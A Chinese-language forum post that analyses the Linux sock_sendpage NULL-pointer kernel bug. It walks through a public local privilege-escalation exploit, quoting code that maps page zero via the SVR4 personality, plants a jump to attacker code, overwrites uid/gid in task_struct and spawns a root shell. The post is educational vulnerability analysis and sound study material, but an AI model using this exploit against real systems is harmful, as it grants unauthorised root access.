- 論壇徽章:
- 0
|
之前看了《新爆內(nèi)核高危漏洞sock_sendpage的利用分析的討論》這篇帖子,在九賤兄和諸位CUer的指引下,大致弄清了整個(gè)漏洞的始末,F(xiàn)與大家分享(引用自我的空間)。
有什么不足之處還望多多指教~
內(nèi)核的BUG
這個(gè)BUG首先得從sendfile系統(tǒng)調(diào)用說起。
考慮將一個(gè)本地文件通過socket發(fā)送出去的問題。我們通常的做法是:打開文件fd和一個(gè)socket,然后循環(huán)地從文件fd中read數(shù)據(jù),并將讀取的數(shù)據(jù)send到socket中。這樣,每次讀寫我們都需要兩次系統(tǒng)調(diào)用,并且數(shù)據(jù)會(huì)被從內(nèi)核拷貝到用戶空間(read),再從用戶空間拷貝到內(nèi)核(send)。
而sendfile就將整個(gè)發(fā)送過程封裝在一個(gè)系統(tǒng)調(diào)用中,避免了多次系統(tǒng)調(diào)用,避免了數(shù)據(jù)在內(nèi)核空間和用戶空間之間的大量拷貝。
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
雖然這個(gè)系統(tǒng)調(diào)用接收in和out兩個(gè)fd,但是有所限制,in只能是普通文件,out只能是socket(這個(gè)限制不知道后來的內(nèi)核版本有沒有放寬)。
sendfile系統(tǒng)調(diào)用在內(nèi)核里面是怎么實(shí)現(xiàn)的呢?這個(gè)還是比較復(fù)雜,它在內(nèi)核里面做了原來要在用戶態(tài)做的事情:創(chuàng)建一個(gè)pipe對(duì)象作buffer用、從in_fd中讀數(shù)據(jù)到pipe中、將pipe中的數(shù)據(jù)寫到out_fd、循環(huán)直到滿足結(jié)束條件。
關(guān)于寫數(shù)據(jù)到out_fd的過程,簡(jiǎn)要描述如下:
sys_sendfile => 入口
do_sendfile => 參數(shù)檢查,其中會(huì)確定out_fd對(duì)應(yīng)的file結(jié)構(gòu)包含sendfile方法(out_file->f_op->sendpage)
do_splice_direct => 最終調(diào)用到out_file->f_op->splice_write,而out_file是個(gè)socket,它的f_op->splice_write等于generic_splice_sendpage
generic_splice_sendpage => 最終調(diào)用到out_file->f_op->sendpage,這個(gè)sendpage等于sock_sendpage
sock_sendpage的代碼如下:
struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);
注意,BUG出現(xiàn)了,調(diào)用sock->ops->sendpage之前沒有判斷這個(gè)函數(shù)指針是否為NULL。
(這里調(diào)用的sock->ops->sendpage就是out_file->f_op->private_data->ops->sendpage,out_file->f_op->private_data指針指向的是一個(gè)struct socket結(jié)構(gòu),因?yàn)檫@個(gè)fd代表的是一個(gè)socket。)
但是,這里的sock->ops->sendpage可能是NULL嗎?搜索內(nèi)核代碼可以發(fā)現(xiàn),并不是每一種類型的socket都會(huì)實(shí)現(xiàn)sendpage這個(gè)函數(shù)。但是大多數(shù)沒有實(shí)現(xiàn)這個(gè)函數(shù)的socket都將這個(gè)函數(shù)指針設(shè)為sock_no_sendpage(這基本上是一個(gè)例行公事的空函數(shù))。但是,有少數(shù)類型的socket卻沒有設(shè)置sock->ops->sendpage(沒設(shè)置,則默認(rèn)為NULL),如PF_PPPOX、PF_BLUETOOTH、等等。(上面鏈接給出的代碼就利用了PF_PPPOX,后來我發(fā)現(xiàn),用PF_BLUETOOTH也能達(dá)到一樣的效果,而換用PF_INET之類的卻不行。)
利用這個(gè)BUG
前面我們看到,內(nèi)核在sendfile系統(tǒng)調(diào)用中,沒有判斷sock->ops->sendpage是否為空,就對(duì)它進(jìn)行調(diào)用,并且sock->ops->sendpage的確可能為空。
如果我們的程序中調(diào)用一個(gè)值為NULL的函數(shù)指針,其結(jié)果會(huì)怎樣?自然是程序崩潰,也僅僅就是崩潰而已。那么,這么個(gè)東西是怎么被利用,并實(shí)現(xiàn)竊取root身份的呢?讓我們逐步解讀上面鏈接給出的代碼。
主函數(shù)main():
char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;
uid = getuid(); // 獲取用戶ID,后面有用
gid = getgid(); // 獲取用戶組ID,后面有用
setresuid(uid, uid, uid); // 確保用戶ID被設(shè)置到進(jìn)程中
setresgid(gid, gid, gid); // 確保用戶組ID被設(shè)置到進(jìn)程中
// 以下幾句就狠了,它把0~1000的地址做了映射,并且置可執(zhí)行屬性
if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap") ;
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
perror("mprotect") ;
return -1;
}
}
// 以下幾句更狠,在剛剛映射的0地址上寫下JMP到kernel_code的指令
*(char *)0 = '\x90'; // nop
*(char *)1 = '\xe9'; // jmp
*(unsigned long *)2 = (unsigned long)&kernel_code – 6; // 這里是相對(duì)跳轉(zhuǎn),-6就是減去當(dāng)前地址的地址值
// 創(chuàng)建一個(gè)臨時(shí)文件,用作源文件
if ((fdin = mkstemp(template)) < 0) {
perror("mkstemp") ;
return -1;
}
// 創(chuàng)建一個(gè)socket,注意其類型為PF_PPPOX
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket") ;
return -1;
}
// 下面重點(diǎn)就是sendfile了
unlink(template);
ftruncate(fdin, PAGE_SIZE);
sendfile(fdout, fdin, NULL, PAGE_SIZE);
經(jīng)過前面的介紹,我們可以看到,這里的sendfile將在系統(tǒng)調(diào)用中觸發(fā)對(duì)0地址的調(diào)用。然而,現(xiàn)在0地址上已經(jīng)被寫下了JMP到kernel_code的指令。
這里的kernel_code實(shí)際上是和這個(gè)main在一起編譯的一個(gè)函數(shù),下面我們將會(huì)看到。
現(xiàn)在的處境
進(jìn)入sendfile系統(tǒng)調(diào)用后,CPU進(jìn)入內(nèi)核態(tài)。內(nèi)核態(tài)能干任何CPU能干的事情,一般情況下,只有內(nèi)核代碼能在內(nèi)核態(tài)下執(zhí)行,這是由內(nèi)核來保證的。但是現(xiàn)在,內(nèi)核代碼調(diào)用了0地址的函數(shù),進(jìn)入了用戶代碼kernel_code。于是,程序員可以在他們自己寫的kernel_code代碼中干任何內(nèi)核能干的事情。
注意,一般從內(nèi)核態(tài)返回到用戶態(tài)有專門的指令(比如iret),它會(huì)同時(shí)改變CPU特權(quán)級(jí)別。但是現(xiàn)在的情況不是這樣,內(nèi)核代碼相當(dāng)于是直接調(diào)用程序員寫的函數(shù),并沒有返回用戶態(tài)。
然而另一方面,內(nèi)核代碼可以輕松地訪問內(nèi)核的數(shù)據(jù)結(jié)構(gòu),因?yàn)閮?nèi)核代碼是在一塊編譯的,對(duì)象的地址都知道、結(jié)構(gòu)都清楚。而現(xiàn)在程序員寫在kernel_code里的代碼呢?盡管他們擁有與內(nèi)核代碼一樣的訪問權(quán)限,但是卻不知道數(shù)據(jù)的地址和狀態(tài),他們現(xiàn)在是個(gè)瞎子。
下面,你會(huì)看到在kernel_code的代碼中,示例代碼的作者是怎樣摸著石頭過河的。
開始干壞事了
kernel_code函數(shù)主要分三個(gè)步驟:
1、獲取task_struct
uint *p = get_current();
其中g(shù)et_current的代碼如下:
__asm__ __volatile__ (
"movl %%esp, %%eax ;" // 將棧指針的值賦給EAX
"andl %1, %%eax ;" // 將這個(gè)棧指針值與~8191(后13bit為0)取與
"movl (%%eax), %0" // 將結(jié)果輸出到curr變量中,此即task_struct指針
: "=r" (curr)
: "i" (~8191)
);
在內(nèi)核中,每個(gè)進(jìn)程擁有一個(gè)thread_info結(jié)構(gòu),以及內(nèi)核棧。這兩樣?xùn)|西是分配在兩個(gè)連續(xù)的page中的,并且thread_info結(jié)構(gòu)在前,棧在后。thread_info結(jié)構(gòu)的第一個(gè)元素是task,它是一個(gè)指向task_struct結(jié)構(gòu)(即通常所說的進(jìn)程控制塊)的指針。在這個(gè)task_struct結(jié)構(gòu)中就保存著進(jìn)程的主要信息。
(注:linux 2.4時(shí),這里的兩個(gè)page存放著task_struct結(jié)構(gòu)和內(nèi)核棧,并沒有thread_info這樣一層。)
在32位系統(tǒng)中,一個(gè)page的大小是4K,page的首字節(jié)的地址后12bit為0。而task_struct結(jié)構(gòu)相當(dāng)于是兩page對(duì)齊的,其首地址的后13bit為0。
由此,通過棧指針的值,將后13bit清0后,得到進(jìn)程對(duì)應(yīng)的thread_info結(jié)構(gòu),再以thread_info結(jié)構(gòu)為指針(該結(jié)構(gòu)的第一個(gè)字,即指向task_struct結(jié)構(gòu)的task指針),便能得到task_struct結(jié)構(gòu)。
(其實(shí),通過這樣一段匯編代碼拿到task_struct結(jié)構(gòu)還是比較笨的辦法。最簡(jiǎn)單的辦法是:取當(dāng)前棧上定義的任意一個(gè)變量,將其地址的后13位清0即可。)
2、拿到了task_struct,要干什么呢?示例代碼的目標(biāo)是修改task_struct中記錄的用戶信息,以使得這個(gè)進(jìn)程變成是由root啟動(dòng)的進(jìn)程。
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8 ) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
回想一下,在main函數(shù)中已經(jīng)獲取了用戶和用戶組ID,并設(shè)置到了進(jìn)程中(設(shè)置到進(jìn)程了task_struct結(jié)構(gòu)中)。于是,搜索task_struct結(jié)構(gòu),試圖匹配這幾個(gè)ID。因?yàn)樵诓煌姹镜膬?nèi)核中,這幾個(gè)ID放置的位置可能不大相同,但它們出現(xiàn)的順序總是相同的。
如果被匹配到,那么就找到了這幾個(gè)ID的存放地。然后,就可以將它們?nèi)扛臑?。于是這個(gè)進(jìn)程就變成root用戶的進(jìn)程了。
不過這種修改uid的方法在較新版本的內(nèi)核中已經(jīng)行不通了,uid、gid這些信息已經(jīng)不是直接放在task_struct結(jié)構(gòu)中,而是整理到一個(gè)叫cred的結(jié)構(gòu),然后task_struct結(jié)構(gòu)保存了指向?qū)?yīng)cred結(jié)構(gòu)的指針。
3、回到用戶態(tài)
好了,身份已經(jīng)改好,程序回到用戶態(tài)去,啟動(dòng)一個(gè)shell,然后好好體會(huì)root生活吧~
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
: "i" (USER_CS), "r" (exit_code)
);
這段代碼就是將返回地址壓在內(nèi)核棧上,然后iret返回用戶態(tài)。返回地址被指定到exit_code上,這也是和main編譯在一起的一個(gè)函數(shù)。其代碼如下:
if (getuid() != 0) {
fprintf(stderr, "failed\n") ;
exit(-1);
}
execl("/bin/sh", "sh", "-i", NULL);
現(xiàn)在程序已經(jīng)回到用戶態(tài)了,調(diào)用getuid看看是不是已經(jīng)成了root。確認(rèn)無洖,啟動(dòng)shell吧~
問題的點(diǎn)睛
雖然上面的敘述一口氣把這個(gè)內(nèi)核漏洞的來龍去脈講通了,但是有個(gè)重要的細(xì)節(jié)卻一筆代過了。那就是映射0地址的部分,我覺得這才是整個(gè)攻擊代碼的點(diǎn)睛之筆。其代碼大致如下:
if ((personality(0xffffffff)) != PER_SVR4) {
mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0);
} else {
mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
}
映射0地址,為什么不是直接的mmap,還要有這樣的分支語句呢?personality函數(shù)和mprotect函數(shù)又是什么意思?
其實(shí),這段攻擊代碼編譯成的可執(zhí)行文件(記為exploit)并不是直接在shell上面執(zhí)行的。而是通過一段C代碼來執(zhí)行(見源碼中的run.c):
int main(void) {
if (personality(PER_SVR4) < 0) {
perror("personality") ;
return -1;
}
fprintf(stderr, "padlina z lublina!\n") ;
execl("./exploit", "exploit", 0);
}
可以看到,在執(zhí)行之前,也調(diào)用了personality函數(shù)。
linux內(nèi)核具有很強(qiáng)的兼容性,不僅可以執(zhí)行l(wèi)inux下編譯的可執(zhí)行文件,還可以執(zhí)行在其他操作系統(tǒng)下編譯的可執(zhí)行文件:對(duì)于windows等一些操作系統(tǒng)上的可執(zhí)行文件,linux通過運(yùn)行于用戶態(tài)的虛擬機(jī)程序(如wine)來運(yùn)行;而對(duì)于某些類unix系統(tǒng)的可執(zhí)行文件,linux則可以直接執(zhí)行。
然而linux直接執(zhí)行類unix系統(tǒng)的可執(zhí)行文件,也并不是無縫的,需要設(shè)置“執(zhí)行域”來告訴內(nèi)核當(dāng)前執(zhí)行的是某某系統(tǒng)的可執(zhí)行文件。于是,linux內(nèi)核就會(huì)根據(jù)對(duì)應(yīng)的類unix系統(tǒng)的規(guī)則(比如內(nèi)存布局、信號(hào)處理等)來運(yùn)行程序。
上面看到的personality函數(shù)就是用來設(shè)置“執(zhí)行域”的(默認(rèn)的執(zhí)行域就是linux),而上面的啟動(dòng)代碼就通過personality函數(shù)將進(jìn)程的執(zhí)行域設(shè)置為SVR4(一種較老的類unix系統(tǒng),System V Release 4)。于是,在映射0地址時(shí)將走到調(diào)用mprotect函數(shù)的分支(personality(0xffffffff)表示獲取當(dāng)前的執(zhí)行域)。
mmap是用來分配進(jìn)程虛擬內(nèi)存區(qū)域的函數(shù),分配的同時(shí)可以設(shè)置其屬性;而mprotect函數(shù)則是專門設(shè)置虛擬內(nèi)存區(qū)域?qū)傩缘暮瘮?shù)。上面的攻擊代碼中,通過這個(gè)函數(shù),把0地址設(shè)置為可執(zhí)行。
在我的系統(tǒng)上,如果直接在shell上執(zhí)行exploit程序(走mmap的分支),mmap會(huì)失敗。因?yàn)樵?2位linux上,進(jìn)程地址空間是從0x08048000開始使用的(依次是可執(zhí)行代碼區(qū)、全局?jǐn)?shù)據(jù)區(qū)、堆、文件映射區(qū)、棧),從0地址到0x08048000的空間并不能被映射。
exploit程序之所以能夠映射0地址,是因?yàn)榘l(fā)現(xiàn)了在SVR4這種執(zhí)行域下,進(jìn)程能夠映射0地址。確切的說,0地址默認(rèn)是有映射的存在的,代碼只是修改了這個(gè)映射的屬性。
在linux 2.6.29.4的代碼中找到了以下一些內(nèi)容:
personality.h,對(duì)SVR4執(zhí)行域有如下選項(xiàng)定義(注意其中有個(gè)MMAP_PAGE_ZERO標(biāo)記):
enum {
......
PER_SVR4 = 0x0001 | STICKY_TIMEOUTS | MMAP_PAGE_ZERO,
......
};
binfmt_elf.c:load_elf_binary(),在加載elf格式(linux下最常用的格式)的可執(zhí)行文件時(shí),有如下代碼(針對(duì)MMAP_PAGE_ZERO標(biāo)記做了特殊處理):
......
if (current->personality & MMAP_PAGE_ZERO) {
/* Why this, you ask??? Well SVr4 maps page 0 as read-only,
and some applications "depend" upon this behavior.
Since we do not have the power to recompile these, we
emulate the SVr4 behavior. Sigh. */
down_write(¤t->mm->mmap_sem);
error = do_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC,
MAP_FIXED | MAP_PRIVATE, 0);
up_write(¤t->mm->mmap_sem);
}
......
看到作者的注釋了吧~ 就這樣,0地址被映射了。
[ 本帖最后由 kouu 于 2010-1-13 16:59 編輯 ] |
|